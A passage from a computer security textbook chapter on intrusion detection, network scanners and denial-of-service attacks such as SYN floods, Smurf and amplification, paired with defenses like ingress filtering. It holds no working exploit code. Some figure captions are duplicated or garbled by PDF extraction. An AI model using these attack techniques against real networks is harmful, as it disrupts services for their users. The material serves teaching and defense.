Hacker (2nd edition). Addison-Wesley, 2003. First edition (1994; Cheswick, Bellovin) is free online.
[9] J. A. Donenfeld. WireGuard: Next generation kernel network tunnel. In Netw. Dist. Sys. Security
(NDSS), 2017.
[10] B. Dowling and K. G. Paterson. A cryptographic analysis of the WireGuard protocol. In Applied
Cryptography and Network Security (ACNS), pages 3–21, 2018.
[11] S. Frankel, K. Kent, R. Lewkowski, A. D. Orebaugh, R. W. Ritchey, and S. R. Sharma. Guide to IPsec
VPNs. NIST Special Publication 800-77, National Inst. Standards and Tech., USA, Dec. 2005.
[12] R. Gerhards. RFC 5424: The Syslog Protocol, Mar. 2009. Proposed Standard. Obsoletes RFC 3164.
[13] Information Sciences Institute (USC). RFC 791: Internet Protocol, Sept. 1981. Internet Standard (IP).
Updated by RFC 1349, 2474, 6864.
[14] Information Sciences Institute (USC). RFC 793: Transmission Control Protocol, Sept. 1981. Internet
Standard (TCP). Updated by RFC 1122, 3168, 6093, 6528.
[15] S. Ioannidis, A. D. Keromytis, S. M. Bellovin, and J. M. Smith. Implementing a distributed firewall.
In ACM Comp. & Comm. Security (CCS), pages 190–199, 2000. See also: S.M. Bellovin, “Distributed
firewalls”, pages 39–47, USENIX ;login: (Nov 1999).
[16] C. Kaufman, P. Hoffman, Y. Nir, P. Eronen, and T. Kivinen. RFC 7296: Internet Key Exchange Protocol
Version 2 (IKEv2), Oct. 2014. Internet Standard. Obsoletes RFC 5996 (preceded by 4306; and 2407,
2408, 2409); updated by RFC 7427, 7670, 8247.
[17] S. Kent. RFC 4302: IP Authentication Header, Dec. 2005. Proposed Standard. Obsoletes RFC 2402.
[18] S. Kent. RFC 4303: IP Encapsulating Security Payload (ESP), Dec. 2005. Proposed Standard. Obso-
letes RFC 2406.
307
308 References (Chapter 10)
[19] S. Kent and K. Seo. RFC 4301: Security Architecture for the Internet Protocol, Dec. 2005. Proposed
Standard. Obsoletes RFC 2401; updated by RFC 7619.
[20] D. Koblas and M. R. Koblas. SOCKS. In Proc. Summer USENIX Technical Conf., pages 77–83, 1992.
[21] M. Leech, M. Ganis, Y. Lee, R. Kuris, D. Koblas, and L. Jones. RFC 1928: SOCKS Protocol Version
5, Mar. 1996. Proposed Standard.
[22] L. Phifer. The Trouble with NAT. Internet Protocol Journal, 3(4):2–13, 2000.
[23] J. Postel. RFC 768: User Datagram Protocol, Aug. 1980. Internet Standard (UDP).
[24] J. Postel. RFC 792: Internet Control Message Protocol, Sept. 1981. Internet Standard (ICMP). Updated
by RFC 950, 4884, 6633, 6918.
[25] M. Rash. Linux Firewalls: Attack Detection and Response with iptables, psad and fwsnort. No Starch
Press, 2007.
[26] J. Schlyter and W. Griffin. RFC 4255: Using DNS to Securely Publish Secure Shell (SSH) Key Finger-
prints, Jan. 2006. Proposed Standard.
[27] J. C. Snader. VPNs Illustrated: Tunnels, VPNs, and IPsec. Addison-Wesley, 2005.
[28] D. X. Song, D. A. Wagner, and X. Tian. Timing analysis of keystrokes and timing attacks on SSH. In
USENIX Security, 2001.
[29] P. Srisuresh and K. Egevang. RFC 3022: Traditional IP Network Address Translator (Traditional NAT),
Jan. 2001. Informational. Obsoletes RFC 1631. See also RFC 2993, 3027 and 4787 (BCP 127).
[30] P. Srisuresh and M. Holdrege. RFC 2663: IP Network Address Translator (NAT) Terminology and
Considerations, Aug. 1999. Informational.
[31] W. R. Stevens. TCP/IP Illustrated, Volume 1: The Protocols. Addison-Wesley, 1994.
[32] R. Trost. Practical Intrusion Analysis. Addison-Wesley, 2010.
[33] A. Wool. A quantitative study of firewall configuration errors. IEEE Computer, 37(6):62–67, 2004. A
2009 report revisits the study: https://arxiv.org/abs/0911.1240.
[34] P. Wouters, D. Migault, J. Mattsson, Y. Nir, and T. Kivinen. RFC 8221: Cryptographic Algorithm
Implementation Requirements and Usage Guidance for Encapsulating Security Payload (ESP) and Au-
thentication Header (AH), Oct. 2017. Proposed Standard. Obsoletes RFC 7321, 4835, 4305.
[35] T. Ylönen. SSH—secure login connections over the Internet. In USENIX Security, pages 37–42, 1996.
[36] T. Ylönen and C. Lonvick. RFC 4251: The Secure Shell (SSH) Protocol Architecture, Jan. 2006.
Proposed Standard. Updated by RFC 8308.
[37] T. Ylönen and C. Lonvick. RFC 4252: The Secure Shell (SSH) Authentication Protocol, Jan. 2006.
Proposed Standard. Updated by RFC 8308, 8332.
[38] T. Ylönen and C. Lonvick. RFC 4253: The Secure Shell (SSH) Transport Layer Protocol, Jan. 2006.
Proposed Standard. Updated by RFC 6668, 8268, 8308, 8332.
[39] T. Ylönen and C. Lonvick. RFC 4254: The Secure Shell (SSH) Connection Protocol, Jan. 2006. Pro-
posed Standard. Updated by RFC 8308.
[40] L. Yuan, J. Mai, Z. Su, H. Chen, C. Chuah, and P. Mohapatra. FIREMAN: A toolkit for firewall
modeling and analysis. In IEEE Symp. Security and Privacy, pages 199–213, 2006.
[41] E. D. Zwicky, S. Cooper, and D. B. Chapman. Building Internet Firewalls (2nd edition). O’Reilly,
2000. First edition 1995 (Chapman, Zwicky).
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 11
Intrusion Detection and Network-Based Attacks
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
This second chapter on network security complements Chapter 10’s treatment of firewalls
and tunnels. Here we discuss intrusion detection and various tools for network moni-
toring (packet sniffing) and vulnerability assessment, followed by denial of service and
other network-based attacks that exploit standard TCP/IP network or Ethernet protocols.
We consider TCP session hijacking, and two categories of address resolution attacks—
DNS-based attacks, which facilitate pharming, and attacks involving Address Resolution
Protocol (ARP) spoofing. Such network-based attacks are carried out regularly in practice.
The best defense to stop many of them is encryption of communication sessions; building
a true appreciation for this is by itself strong motivation for learning at least the high-level
technical details of these attacks. In addition, understanding the underlying principles that
enable attacks is important to avoid repeating design errors in future networks and emerg-
ing Internet of Things (IoT) protocols, as experience tells us that variations of these same
attacks are almost certain to reappear.
310
11.1. Intrusion detection: introduction 311
human attention. An intrusion may involve an unauthorized or rogue user (intruder), pro-
cess, program, command, action, data at rest (in storage) or in flight (as a network packet).
Not all intrusions are deliberate attacks; consider a connection error by an external party.
D ETECTION VS . PREVENTION . An IDS detects intrusions and other adverse events,
either in progress, or after the fact. The basis for an IDS is a monitoring system that col-
lects evidence facilitating detection and supporting forensic analysis.1 In practice, sorting
out what has actually happened often requires ad hoc analysis by human experts, and ex-
ploration may be open-ended for new attacks; such systems are not pragmatic for typical
users. An intrusion prevention system (IPS), beyond passive monitoring, includes active
responses, e.g., stopping in-progress violations or altering network configurations. An
IPS augmenting a firewall2 may alter packets, strip out malware, or send TCP resets to
terminate connections; an in-host IPS may terminate processes. An IPS may be config-
ured to operate passively as an IDS. The two acronyms are often interchanged, but a true
IPS requires automated real-time responses, and can mitigate a subset of known attacks.
A RCHITECTURAL TYPES . An IDS involves a means to collect events from an event
source, and components for event reporting (e.g., logging to a console or by email/text
messages), analysis, and (in an IPS) response. Based on where sensors collect event
streams, an IDS is categorized as a network-based IDS (NIDS) or host-based IDS (HIDS).
NIDS events are derived from packets obtained at a strategic vantage point, e.g., a
network gateway, or LAN (local area network) switch. Section 11.3 discusses how packets
are obtained (packet sniffing). A NIDS provides network-wide views.
HIDS events may be derived from kernel-generated operations and audit records, ap-
plication logs (noting userid), filesystem changes (file integrity checks, file permissions,
file accesses), and system call monitoring; plus specific to the host, network accesses,
incoming/outgoing packet contents, and status changes in network interfaces (ports open,
services running). Resource use patterns (CPU time, disk space) may reveal suspicious
processes. Simple HIDS tools protect (and detect intruders on) single hosts; centralized
pooling of HIDS data improves its availability, and allows views beyond single hosts.
E VENT OUTCOMES . On processing an event, an IDS analysis engine may or may
not raise an alarm, and the event may or may not be an intrusion. This gives us four
cases (Fig. 11.1). Low error rates (the two falses) are desired. High false positive rates,
a common problem with anomaly-based systems (Section 11.2), severely limit usability
of an IDS; false positives distract human analysts. High false negative rates are a security
failure, and thus dangerous (missed intrusions may lead to unknown damage). From a
classification view, the intrusion detection problem is to determine whether an event is
from a distribution of events of intruder behavior, or from a legitimate user distribution.
Some IDS approaches offer a tradeoff between false positives and negatives similar to
that for biometric authentication, where the task is to classify as intruder (impersonator)
or legitimate user. (Recall Chapter 3’s two-hump graph of overlapping distributions; the
related tradeoff here is shown in Fig. 11.2b on page 314, with a rough analogy that FPR
1 This follows principle P14 (EVIDENCE - PRODUCTION).
2 While IPS and firewall functionality are commonly combined, we keep them separate pedagogically.
312 Chapter 11. Intrusion Detection and Network-Based Attacks
intrusion no intrusion
FP
alarm True Posi8ve (TP) False Posi8ve (FP) False positive rate
False posi8ve rate: FPR = (FP+T N)
FPR = FP / (FP + TN)
raised True nega8ve rate: TNR = 1 – FPR
True negative rate T NR = 1 − FPR
intrusion detected false alarm
of true positives, i.e., TP FP (a difficult situation for an IDS). Assume a set of n events.
It consists of nI intrusion and nN non-intrusion events (n is known, but not nI , nN ). Now:
n = nI + nN , TP = TPR · nI , FP = FPR · nN
The last two equations are just the definitions. We expect a (useful) IDS to detect a high
proportion of intrusions, and so to a crude approximation, TPR ≈ 1 implying TP ≈ nI . A
tiny base rate of intrusions (as also expected in a fielded IDS) means nI nN and n ≈ nN .
From TP FP we get TP + FP ≈ FP. Now substituting in these approximations,
AP = TP/(TP + FP) ≈ TP/FP ≈ nI /(FPR · nN ) ≈ (nI /n)/FPR
This approximation for AP now captures the parameters that dominated the computed
value of AP in our example: the base rate nI /n of incidence, and FPR. As a summary:
alarm precision is governed by both the base rate of incidence and the false positive rate.
IDS IMPLICATION OF BASE RATE OF INTRUSIONS . Our example illustrates what
psychologists call the base rate fallacy: people tend to ignore the base rate of incidence
of events when intuitively solving problems involving conditional probabilities. Most
computer systems have a very low base rate of intrusions.5 Given a huge number nN
of non-intrusion events, even a very low (non-zero) false positive rate can yield a large
number of false positives since FP = FPR · nN . It is challenging to keep both FPR and
FNR acceptably low—decreasing one of these error rates increases the other in some IDS
approaches. For an enterprise IDS, exploring false positives not only steals experts’ time
better spent on sorting out true positives, but any significant level of alarm imprecision,
even 1 in 2 alarms being a false positive, risks complacency and training staff to ignore
alarms altogether. And if there are 100 alarms per day, whether true or false positives, the
problem may become lack of investigative resources. The tolerance for false positives is
also extremely low in end-user systems—consider anti-virus software, a type of IPS.
Exercise (Classification semantics). (a) From Fig. 11.1, describe in words semanti-
cally what is captured by the false positive (FPR) and false negative rate (FNR) metrics.
(b) Consider the notation: I (intrusion), ¬I (no intrusion), A (alarm), ¬A (no alarm).
Using this, define FPR, FNR, TPR and TNR each as expressions of the form: prob(X|Y ),
meaning “the probability of X given (i.e., in the case of) Y ”, where Y is I or ¬I .
(c) When running an IDS, the main observable is an alarm being raised. The probabilities
of interest then are (with higher values more desirable): prob(I |A ) (the Bayesian detec-
tion rate), and prob(¬I |¬A ). Describe in words what these expressions mean.
(d) By Venn diagram, show the four sets of events (I and A ), (I and ¬A ), (¬I and A ),
(¬I and ¬A ), in the case of far more false positives than true positives (hint: [10, p. 10]).
anomaly-based approaches (Table 11.1). Figure 11.2 depicts relationships between these.
1) S IGNATURE - BASED. These approaches examine events for predefined attack sig-
natures—pattern descriptors of known-bad behavior. Matches trigger alarms. Simple
patterns such as raw byte sequences, and condition lists (e.g., fields to match in packets),
may be combined in rules, and are similar to simple anti-virus and packet-filter techniques.
Advantages are speed and accuracy. More advanced patterns involve regular expressions.
Signature generation and update is a continuous task, relies on known intrusions (attacks),
and reflects only these. (Many IPSs are configured to receive automated vendor signature
updates.) Variants called behavior-based attack signature approaches generalize pattern
descriptors beyond attack-instance implementation details by looking for attack side ef-
fects or outcomes that provide indirect evidence of attacks.
a) b)
R
S profile
N1 learned u v w
specified as allowed as normal
N2
FP (unshaded)
Outer box is all possible behaviour Oval R denotes intruder behaviour
Figure 11.2: Visual model of IDS approaches. a) Specification-based; activity outside the
shaded region raises an alarm. b) Anomaly-based and signature-based. Anomaly-based
methods alert on detecting activity outside N1 ; this may be a true positive if in v or w,
but a false positive if in FP. To reduce false positives, parameters or thresholds may be
tuned to recognize a larger area (N2 ) as normal, but this also increases false negatives,
as intruder activity in v will no longer trigger an alarm. For signature-based approaches,
attack signatures, from a subset of w, are created from known attacks. Note: u = N1 ∩ R.
11.2. Intrusion detection: methodological approaches 315
commonly support configuration of SPAN ports. A tap (test access port) is a dedicated
device to facilitate passive monitoring; e.g., a four-port Ethernet tap might use two ports
to connect between a router and firewall, and the other two to access traffic for monitoring.
SPANs and taps are inline in the sense of being in the path packets follow, but do not have
general processors as needed for intrusion prevention functionality. For that, dedicated
inline devices (filtering bridges) are used. These run packet collection tools and store,
analyze and potentially alter traffic. Note that in order to prevent intrusions, an IPS device
must be inline; for detection only, an IDS device may monitor a passive tap or SPAN.
V ULNERABILITY ASSESSMENT TOOLS . Vulnerability assessment tools may be
viewed as a subset of intrusion detection tools—but rather than defending, you now seek
weaknesses in your own hosts, largely in three categories: known-vulnerable services,
typical configuration errors, and weak default configurations still in use. Results may call
for software updates, configuration changes, and changing default passwords.8 Both host-
based tools and network-based tools are used, the latter falling into three categories:
1. reconnaissance tools (below);
2. vulnerability assessment tools (vulnerability scanners); and
3. penetration testing tools9 (pre-authorized) or exploitation toolkits (used by black-hats).
Authorized parties use these tools for self-evaluation, to provide awareness of network-
accessible vulnerabilities, and of services offered to check compliance with security pol-
icy. Vulnerability scanners produce comprehensive reports about the systems assessed. In
contrast, penetration/exploitation frameworks aim to tangibly exploit live systems, includ-
ing installation of a payload; they can test potential vulnerabilities flagged by vulnerability
assessment tools. In self-assessment, benign payloads are used, albeit sufficient to prove
that a flagged vulnerability is not a false positive—false positives need no repair, while
true positives do, and distinguishing the two is a major legitimate use of penetration tests.
On the other hand, an attacker using an exploitation toolkit seeks actual compromise, e.g.,
through a single exploit providing a desired level of access (e.g., root).
L IMITATIONS , CAUTIONS . Vulnerability assessments give status at a fixed point in
time, and with respect (only) to exploits known to the tools. The dual white/black-hat use
of penetration/exploitation frameworks creates some uneasiness. Such tools improve the
speed and accuracy of live-testing for both authorized and unauthorized parties. Scans
executed as credentialed (via an authorized user or administrative account) allow sig-
nificantly greater detail. Exploit modules are commonly available via Metasploit (page
320). Is it ethical to release exploit modules? The consensus is that attackers already
have and use these, so legitimate parties should as well, so as not to fall even farther be-
hind. A responsible disclosure approach recommends first providing details to product
vendors, to allow patches to be made available; however, this process is complicated by
the requirement of vendor cooperation and timely response, as well as ethical questions
including whether vulnerable users should be notified even before patches are available.
8 Proactive password crackers, which use a system’s password hash file to guess its own users’ passwords
(asking users to change those so guessed), were early instances of vulnerability assessment tools.
9 General context on penetration testing is also given in Chapter 1.
318 Chapter 11. Intrusion Detection and Network-Based Attacks
In all cases, use of vulnerability assessment and exploitation tools on hosts or networks
other than your own, without prior written permission, risks legal and potential criminal
liability.
P ORT SCANNING AND OS FINGERPRINTING . Network-based reconnaissance is a
common precursor to attack. Sending probes (e.g., TCP connection requests) to various
addresses identifies hosts and ports running services. A port can be open (daemon wait-
ing), closed (no service offered), or blocked (denied by a perimeter access control device).
Port scanning is any means to identify open ports on a target host or network. An IPS that
detects port scanning may coordinate with perimeter defenses to block (denylist) source
addresses identified as scanners. Scanning one’s own machines allows an inventory of
hosts, and a cross-check that services offered are known and authorized by policy. A
common feature in network scanners is remote OS fingerprinting: identifying a remote
machine’s OS, and its version, with high confidence. Uses include, e.g., for defenders,
informing about needed software updates; for penetration testers and attackers, it allows
selection of OS-dependent exploits of identified services at known IP addresses.
Exercise (Scan detection). Describe two specific methods to detect simple port scan-
ning (hint: [44, Sect. 2]).
Example (OS fingerprinting). OS fingerprinting tools can be passive (e.g., p0f) or ac-
tive (e.g., Xprobe2, Nmap). Methods are called stack querying when they rely on network
stack implementation details. Active methods may, e.g., send TCP connection requests
with non-standard header flag combinations; responses distinguish specific OS releases
due to idiosyncrasies in vendor software. p0f, which originates no new traffic itself, in-
spects both TCP headers and application-level HTTP messages; it is useful on systems
that block Nmap probes. Xprobe2 makes use of ICMP datagram responses.
Example (Reconnaissance: Nmap). Dual-use tools are those used by both white-hats
and black-hats. For example, Nmap (Network mapper) is an open-source network scanner
with a point-and-click graphical interface, Zenmap. Among other features, it supports:
• finding IP addresses of live hosts within a target network;
• OS classification of each live host (OS fingerprinting, above);
• identifying open ports on each live host (port scanning);
• version detection (for open ports, identifying the service listening, and version); and
• network mapping (building a network topology—hosts and how they are connected).
Version detection may be as simple as completing a TCP handshake and looking at a
service banner if presented (indicating service type/version); if no banner is offered, this
information may be possible to deduce by sending suitable probes. For self-assessment,
the above features allow an inventory of enterprise services (implying related exposures),
useful in carrying out security audits. While this may provide awareness about vulnerabil-
ities, actually testing for (or actively exploiting) vulnerabilities is commonly done using
dedicated penetration testing or exploitation tools designed to do so more efficiently.
Example (Vulnerability scanner: Nessus). Nessus is a widely used remote vulner-
ability scanner—again dual use, and in this case proprietary (free for non-commercial
use). It has discovery capabilities, but the focus is vulnerability assessment. Its modular
11.3. Sniffers, reconnaissance scanners, vulnerability scanners 319
architecture supports programs (plugins) that can test for individual vulnerabilities; a vast
library of such plugins exists for CVEs (Common Vulnerability Exposures). Configuring
Nessus to run a scan includes specifying targets (IP addresses or network ranges), port
ranges and types of port scans (similar to Nmap), and which plugins to run. A summary
report is provided. Some plugins, e.g., denial of service tests, may crash a target (in safe
mode, such tests are bypassed). While this may be the goal of an attacker, such modules
also allow testing a system prior to launching a service or releasing a software product.
Tools like Nessus have capabilities similar to an auto-rooter (Section 7.3).
‡Exercise (Password guessing: Nessus). Some Nessus plugin modules test services
for weak passwords via password-guessing attacks. If these services are on a live system,
and the system locks out accounts after n incorrect guesses (e.g., n = 5 or 10) within a
short period of time, how will running these modules affect users of those accounts?
‡Exercise (COPS and SATAN). Summarize the architecture and functionality of each
of the following vulnerability scanners. a) COPS (Computerized Oracle and Password
System), a scanner released in 1990 for Unix systems (hint: [30]). b) SATAN (Security
Analysis Tool for Auditing Networks), a scanner released in 1993 for networked comput-
ers (hint: [31]). Discuss also why the release of SATAN was controversial.
‡Example (Packet capture utilities). Two popular general-purpose tools for packet
capture and processing are the tcpdump utility,10 and somewhat similar but with a graph-
ical front-end and deeper protocol analysis, the open-source Wireshark.11 Both rely on
a standard packet capture library, e.g., libpcap on Unix, implementing the pcap inter-
face. libpcap in turn relies on a BSD packet filter (BPF) implementation supporting
user-specified filtering criteria (e.g., ports of interest or ICMP message types), allow-
ing unwanted packets to be efficiently dropped in the kernel process itself. Functionally,
tcpdump reads packets from a network interface card in promiscuous mode (page 316).
Packets can be written to file, for later processing by tcpdump or third-party tools sup-
porting pcap file formats. Security-focused network traffic analyzers that use libpcap
directly (rather than through tcpdump), like Snort and Bro, augment packet capture and
processing with their own specialized monitoring and intrusion detection functionality.
‡ATTACKING THE SNIFFER . On some systems, configuring packet capture tools
requires running as root; some require maintaining root privileges. In any case, packet
sniffers themselves present attractive new attack surface: even if all listening ports are
closed, the tool receives packets and is thus itself subject to exploitation (e.g., by buffer
overflow flaws). Software security is thus especially critical for packet capture tools.
Exercise (network statistics). The netstat command line utility, available in major
OSs, provides information on current TCP and UDP listening ports, in-use connections,
and other statistics. a) Read the manual page on your local OS (from a Unix command
line: man netstat), experiment to confirm, and list the command syntax to get the PID
(process ID) associated with a given connection. b) Use netstat with suitable options to
get information on all open UDP and TCP ports on your current host; provide a summary.
10 tcpdump as ported to Windows is WinDump.
11 Wireshark was formerly Ethereal, with command-line version TEthereal.
320 Chapter 11. Intrusion Detection and Network-Based Attacks
a) b)
server
Figure 11.4: DDoS. a) The individual hosts (zombies) flooding the server are controlled
by a botnet master directly, or by a large number of “handler” devices, which themselves
take directions from the master. b) The shaded hosts (zombies) send packets spoofing the
Ch.11. DDoS. a) The individual hosts (zombies) flooding the server are controlled by
source address of a common (end) victim, such that the responses flood that victim.
a botnet master directly, or by a large number of ``handler” devices which
themselves take direcDons from the master. b) The shaded hosts (zombies) send
packets with the spoofed source address of a common (end) vicDm, so that the
L OCAL VS . REMOTE D O S. A DoS attack on a local host might involve simply trig-
gering a buffer overflow in a kernel function, or replicating malware that consumes mem-
responses flood that vicDm. % cf. Paxon’s reflector aJack in Endnotes; inline notes
call them innocent accomplices in the Smurf-type aJack.
ory and CPU (cf. rabbits, Chapter 7). Our discussion here focuses instead on (remote)
network-related DoS, requiring no a priori access to, or account on, a local host.
Example (DoS by poison packets). A variety of attacks have used malformed packets
to trigger implementation errors that terminate a process or crash the operating system
itself. For example, the Ping of Death is a ping (ICMP echo request) sent as packet
fragments whose total length exceeds the 65,535-byte maximum IP packet size. Packet
reassembly crashed numerous circa-1996 TCP/IP stack implementations by overflowing
allocated storage. A second example, Teardrop, sent a packet in fragments with fragment
offset fields set such that reassembly resulted in overlapping pieces—crashing TCP/IP re-
assembly code in some implementations, exhausting resources in others. A third example,
LAND, sends a SYN packet with source address and port duplicating the destination val-
ues, crashing some implementations that send responses to themselves repeatedly. Note
that any Internet host can send any of these packets. Such attacks, while high-impact,
have clear fixes—simply repairing errors underlying the vulnerabilities (e.g., with stan-
dard length and logic checks). Filtering based on source address also helps (Fig.11.6 on
page 324).
FALSE SOURCE IP ADDRESSES . A common tactic in DoS attacks is to send packets
with false (often random) source IP addresses. The IP protocol does nothing to stop this.
Such IP address spoofing can give a superficial appearance that packets are arriving from
many places, prevents trivial traceback of the packets, and defeats simple blocking based
on source address. A false address means that the true source will not get an IP response,
but the attacker does not care. Responses go to the spoofed addresses as backscatter.
Example (SYN flooding: resource exhaustion). One of the earliest and best known
DoS attacks, SYN flooding, provides insightful lessons on the ease of abusing open proto-
322 Chapter 11. Intrusion Detection and Network-Based Attacks
Secondary Vic=ms
responsive host
at IP addr y1
A@acker SYN Vic=m
SYN-ACK
...
SYN-ACK unresponsive host
true source IP addr: x at IP addr y2
asserted IP addr: y1, y2 , y3 , ...
unresponsive host
...
at IP addr y3
12 This section assumes familiarity with basic concepts from networking, per Section 10.6.
11.4. Denial of service attacks 323
by volume flooding (vs. half-open starvation). Aside: while true source addresses allow
bot identification, removing malware from bots itself raises pragmatic difficulties—due to
scale, and inability of individual defenders to contact thousands of device administrators.
Flooding via a botnet also complicates blocking-based defenses.
‡Exercise (In-host SYN flood mitigation). Explain how these mechanisms mitigate
SYN flooding, and any problems: a) SYN cookies; b) SYN cache. (Hint: [29, 51, 38].)
‡Exercise (Reluctant allocation). SYN flooding attacks exploit end-host TCP protocol
implementations that do not follow principle P20 (RELUCTANT- ALLOCATION), instead
willingly allocating resources before sanity-checking the legitimacy of the connection
request. Cryptographic protocols such as Diffie-Hellman (DH) key agreement are also
subject to DoS attacks. a) Summarize three categories of DoS issues for IPsec-related DH
implementations. b) Discuss how one DH variant, the Photuris protocol, follows P20 to
address at least one of these concerns. (Hint: [2, 45].)
UDP AND ICMP FLOODS . Brute-force packet transmission simply overwhelms
hosts’ bandwidth and CPU. Sending a large number of ping (ICMP echo request) packets
to a target, each triggering an ICMP echo reply, is one type of ICMP flood. A similar UDP
flood may bombard UDP packets at random ports on a target—most ports, closed, will re-
sult in ICMP “destination unreachable” responses (consuming further bandwidth). Such
attacks use protocols often allowed by firewalls in the past, or that are essential for net-
work operations; if an administrator blocks ICMP “echo request” packets outright (fore-
going useful functionality), or beyond a set threshold, attackers may instead use ICMP
“destination unreachable” packets.
Example (Smurf flood). A second type of ICMP flood using ping (echo request)
packets and false IP addresses employs broadcast addresses to gain an amplification factor.
As background, consider a 32-bit IPv4 address as an n-bit prefix defining a network ID,
and m-bit suffix identifying a host within it (n + m = 32); all-zeros and all-ones suffixes
are special, all-ones denoting a broadcast address. A packet sent to a broadcast address by
a local-network host goes to all hosts on that network; and likewise if from a host outside
the local network, if routers are suitably configured. Smurf attacks from outside target
networks send ICMP pings to the broadcast address of target networks (accomplices). On
reaching an accomplice network, the ping solicits from each host therein an ICMP echo
reply, consuming both that network’s bandwidth and the path back to a spoofed source
address, the true victim; the unwitting accomplices are secondary victims. Similar attacks
can be launched from a compromised host within a local network, on the IP broadcast
address of that network. Note that this attack may use any packet (service) evoking general
responses, and allowed through firewalls/gateways; ICMP ping is but one choice.
S MURF MITIGATION . One mitigation for externally originated Smurf attacks is for
(all) routers to drop packets with broadcast address destinations (cf. Martian packets, be-
low). Another mitigation is ingress/egress filtering (below). Attacks from within a local
network itself may be mitigated by configuring host OSs to ignore ICMP packets arriving
for IP broadcast addresses; local hosts will no longer be accomplices.
A MPLIFICATION . In SYN flooding, ICMP flooding (Smurf ping), and UDP and TCP
exploits noted below, DoS attacks are aided by amplification—this occurs in any protocol
324 Chapter 11. Intrusion Detection and Network-Based Attacks
ISP1 ISP2
A=acker VicCm
R1 R2 R3 R4
Enterprise1 Enterprise2
Figure 11.6: Ingress and egress filtering. An attacker may use a spoofed source IP ad-
dress in traffic sent to a victim. ISP1 does ingress filtering at R2 for traffic entering from
Enterprise1 . Enterprise1 does egress filtering at R1 for traffic leaving to ISP1 . For firewall
rules to Ch.10. Ingress and egress filtering, to counter spoofed source IP addresses.
implement ingress and egress filtering, see Table 10.1 in Section 10.1.
An a=acker may use a spoofed source IP address in traffic sent to a vicCm.
ISP1 does ingress filtering at R2 for traffic entering from Enterprise 1.
where originating one message results in more than one response (from one or multiple
Enterprise 1 does egress filtering at R1 for traffic leaving to ISP1.
hosts), or in a response larger than the original packet, or both. In open network protocols,
sending a packet requires no authentication, but consumes bandwidth (a shared resource)
and host resources of all recipients. This violates in part principles P4 (COMPLETE -
MEDIATION ), P6 ( LEAST- PRIVILEGE), and P20 ( RELUCTANT- ALLOCATION ).
Exercise (UDP amplification). CERT Advisory CA-1996-01 recommended that aside
from using firewall or gateway filtering of related ports, hosts disable unused UDP ser-
vices,13 especially two testing/debugging services—the Echo (UDP port 7) and Character
Generator (UDP port 19) protocols. (a) Explain what these services do, and the concern,
especially with packets whose source and destination sockets connect the services to each
other. (b) What is the general risk, if a service generates more output than it receives?
‡Exercise (ICMP-based attacks). Outline several ways ICMP can be abused to attack
TCP connections; mitigations that comply with ICMP specifications; and challenges in
validating the authenticity of ICMP messages. (Hint: [36, 38]; Linux and some Unix OSs
include validation checks on sequence numbers found within ICMP payloads.)
I NGRESS FILTERING . Ingress filters process packets entering, and egress filters pro-
cess packets leaving, a network (Fig. 11.6). They mitigate IP source address spoofing, and
thus DoS attacks that employ it (TCP SYN, UDP, and ICMP flooding). Service providers
use ingress filtering on a router interface receiving input packets from a customer network;
the filter allows only packets with source addresses within ranges expected or known to
be legitimate from that customer network, based on knowledge of legitimate address as-
signment. Packets with Martian addresses (e.g., an invalid source address due to being
reserved or a host loopback) are also dropped. An enterprise may likewise do egress fil-
tering on packets leaving its network, based on knowledge of legitimate addresses of its
internal hosts, to avoid assisting hosts serving as attack agents.14
‡Exercise (TCP amplification). (a) Explain how TCP-based protocols can be abused
for amplification attacks despite TCP’s three-way handshake. (b) Give three reasons why
NTP is most vulnerable among these. (c) Summarize technical mitigations to NTP ampli-
fication attacks per advisories of MITRE (2013) and US-CERT (2014). (Hint: [49].)
13 Disabling unused services follows principle P1 (SIMPLICITY- AND - NECESSITY).
14 Ingress/egress filtering supports principle P5 (ISOLATED - COMPARTMENTS).
11.5. Address resolution attacks (DNS, ARP) 325
Example (DDoS toolkits). DDoS toolkits emerged in the late 1990s. The Tribal
Flood Network (TFN), and successor TFN2K, allow a selection of UDP flood, ICMP
flood, ICMP broadcast (Smurf type), and SYN flood attacks. Target addresses are inputs.
Attack client binaries are installed on compromised hosts (bots). TFN-based Stacheldraht
added encrypted communications between control components, and update functionality.
‡Exercise (DDoS: trinoo). DDoS incidents in 1999 used trinoo tools. (a) Detail how
trinoo compromised hosts to become slaves called daemons. (b) Summarize its master-
daemon command and control structure, pre-dating those in later botnets. (c) Summarize
the technical details of the DoS vectors used by the daemons. (Hint: [27].)
Exercise (Mirai botnet 2016). The Mirai (DDoS) botnet exploited embedded proces-
sors and Internet of Things (IoT) devices, e.g., home routers and IP cameras. (a) Summa-
rize its technical details. (b) Discuss the implications for IoT security. (Hint: [48, 5].)
S UMMARY COMMENTS : ATTACKS . DoS attacks are, by definition, easy to notice,
but full solutions appear unlikely. Flooding-type attacks are as much a social as a technical
problem, and cannot be prevented outright—public services are open to the entire public,
including attackers. Defenses are complicated by IP address spoofing, the existence of
services (protocols) that can be exploited for amplification, and the availability of botnets
for DDoS. DoS artifacts include poison packets and resource exhaustion (slow or fast) on
end-hosts, network bandwidth exhaustion, and related attacks on networking devices.
S UMMARY COMMENTS : DEFENSES . Default on-host DoS defenses should include
disabling unused services, OS rate-limiting of ICMP responses, and updating software
to address poison packets. Good security hygiene decreases the chances that end-hosts
become part of a (DoS) botnet, but flooding defenses are largely in the hands of network
operators, e.g., blocking non-essential services at gateways, and dropping packets from
denylisted sources and by ingress/egress filtering. Coarse filtering at firewalls is an interim
survival tactic when new attacks arise and better alternatives are not yet in place. Proxy
firewalls may have the capacity to filter out or alter malformed packets, albeit requiring
protocol-level knowledge. Beyond this, flooding attacks are addressed by shared hardware
redundancy of ISPs and infrastructure providers—e.g., sites hosted by CDNs (content
delivery networks) benefit from spare capacity in resources, and major enterprises invest
(with cost) in links with excess capacity, server farms, and load balancing. Sharing of
defensive resources is driven by the reality that attackers (leveraging botnets) can harness
greater resources than individual defenders. A challenge for future networks is the design
of communications protocols and services immune to amplification attacks.
hosts, and in response to DNS protocol queries on UDP port 53, provides this informa-
tion through server programs. Client applications resolve hostnames using a local (OS-
provided) DNS resolver, which returns corresponding IP addresses. To get the answer,
the resolver in turn contacts one or more DNS servers, which contact further sources in a
hierarchical query structure, finally asking the authoritative source if required. At various
points (Fig. 11.7), query answers may be cached for quicker future responses; by protocol,
a cached entry is deleted after a time-to-live (TTL) value specified in its DNS response.
